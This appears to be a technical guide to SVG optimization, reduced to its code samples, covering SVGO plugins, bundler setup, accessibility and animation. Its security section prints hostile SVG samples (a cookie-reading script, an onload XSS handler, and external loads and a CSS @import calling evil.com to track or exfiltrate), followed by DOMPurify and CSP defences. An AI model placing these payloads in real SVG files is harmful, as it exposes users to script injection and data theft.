SVG Optimization: Rendering Model, SVGO Plugin Architecture, Security, and Performance Pitfalls

<svg width="200" height="100" viewBox="0 0 400 200">
  <!-- Drawing commands use 400×200 coordinate space -->
  <!-- Rendered into 200×100 pixel viewport -->
  <!-- Scale factor: 0.5x in both directions -->
</svg>

<svg>
  <!-- Rendered first (behind) -->
  <rect x="10" y="10" width="80" height="80" fill="blue"/>
  <!-- Rendered second (on top) -->
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>

// svgo.config.js
module.exports = {
  plugins: [
    'preset-default',           // Built-in defaults
    'removeDimensions',         // Remove width/height, keep viewBox
    {
      name: 'removeAttrs',      // Plugin with parameters
      params: { attrs: '(data-.*)' }
    },
    {
      name: 'addAttributesToSVGElement',
      params: { attributes: [{ 'aria-hidden': 'true' }] }
    }
  ]
};

// custom-plugin.js
const myPlugin = {
  name: 'removeTestIds',
  fn: () => ({
    element: {
      enter: (node) => {
        if (node.attributes['data-testid']) {
          delete node.attributes['data-testid'];
        }
      }
    }
  })
};

// svgo.config.js
module.exports = {
  plugins: ['preset-default', myPlugin]
};

// Path data precision: more decimals = larger file, more accurate curves
{
  name: 'convertPathData',
  params: {
    floatPrecision: 1,   // Aggressive: "M10.5 20.3" → "M10 20" (visible artifacts on complex curves)
    floatPrecision: 2,   // Balanced: "M10.53 20.37" → "M10.53 20.37" (safe for most icons)
    floatPrecision: 3    // Conservative: keeps precision (large files)
  }
}

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" onload="alert('XSS')"/>
</svg>

<svg xmlns="http://www.w3.org/2000/svg">
  <image href="https://evil.com/track.gif"/>
  <use href="https://evil.com/payload.svg#exploit"/>
</svg>

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url('https://evil.com/exfiltrate?data=...');
  </style>
</svg>

import DOMPurify from 'dompurify';

const cleanSVG = DOMPurify.sanitize(untrustedSVG, {
  USE_PROFILES: { svg: true, svgFilters: true },
  ADD_TAGS: ['use'],
  FORBID_TAGS: ['script', 'foreignObject'],
  FORBID_ATTR: ['onload', 'onclick', 'onerror', 'xlink:href']
});

Content-Security-Policy: default-src 'self'; script-src 'none'; style-src 'self'

<!-- This innocent-looking blur forces rasterization of the entire subtree -->
<g filter="url(#blur)">
  <path d="...huge path data..."/>
</g>

<filter id="blur">
  <feGaussianBlur stdDeviation="3"/>
</filter>

<!-- Expensive: 500-point polygon as clip path -->
<clipPath id="complex">
  <path d="M... (500 points)"/>
</clipPath>

<!-- Cheap: simple rectangle clip -->
<clipPath id="simple">
  <rect x="0" y="0" width="100" height="100"/>
</clipPath>

<!-- This "SVG" is actually a 2MB PNG with vector chrome around it -->
<svg>
  <image href="data:image/png;base64,..." width="1000" height="1000"/>
  <text x="50" y="50">Label</text>
</svg>

// vite.config.js
import svgr from 'vite-plugin-svgr';

export default {
  plugins: [svgr({
    svgrOptions: {
      plugins: ['@svgr/plugin-svgo', '@svgr/plugin-jsx'],
      svgoConfig: {
        plugins: ['preset-default', 'removeDimensions']
      }
    }
  })]
};

// Usage in React
import Logo from './logo.svg?react';  // Imported as React component
import logoUrl from './logo.svg';     // Imported as URL string

function App() {
  return <Logo className="logo" aria-label="Company logo" />;
}

// webpack.config.js
module.exports = {
  module: {
    rules: [{
      test: /\.svg$/i,
      issuer: /\.[jt]sx?$/,
      use: [{
        loader: '@svgr/webpack',
        options: {
          svgo: true,
          svgoConfig: { plugins: ['preset-default'] }
        }
      }]
    }]
  }
};

// next.config.js
module.exports = {
  webpack(config) {
    config.module.rules.push({
      test: /\.svg$/,
      use: ['@svgr/webpack']
    });
    return config;
  }
};

Is the SVG decorative (no information)?
├── Yes → <svg aria-hidden="true" focusable="false">
└── No → Does it stand alone or have adjacent text?
    ├── Standalone → <svg role="img" aria-labelledby="title">
    │                  <title id="title">Description</title>
    └── Has text → <svg aria-hidden="true"> (text carries the meaning)

<svg role="img" aria-labelledby="chart-title chart-desc">
  <title id="chart-title">Monthly Revenue</title>
  <desc id="chart-desc">Bar chart showing revenue from Jan to Dec 2025</desc>
  
  <!-- Each interactive element needs focus handling -->
  <g role="listitem" tabindex="0" aria-label="January: $45,000">
    <rect x="10" y="20" width="30" height="80"/>
  </g>
</svg>

@keyframes spin {
  from { transform: rotate(0deg); }
  to { transform: rotate(360deg); }
}

.spinner {
  animation: spin 1s linear infinite;
  transform-origin: center;
}

<path d="M10 80 Q 95 10 180 80">
  <animate
    attributeName="d"
    dur="2s"
    values="M10 80 Q 95 10 180 80; M10 80 Q 95 150 180 80; M10 80 Q 95 10 180 80"
    repeatCount="indefinite"
  />
</path>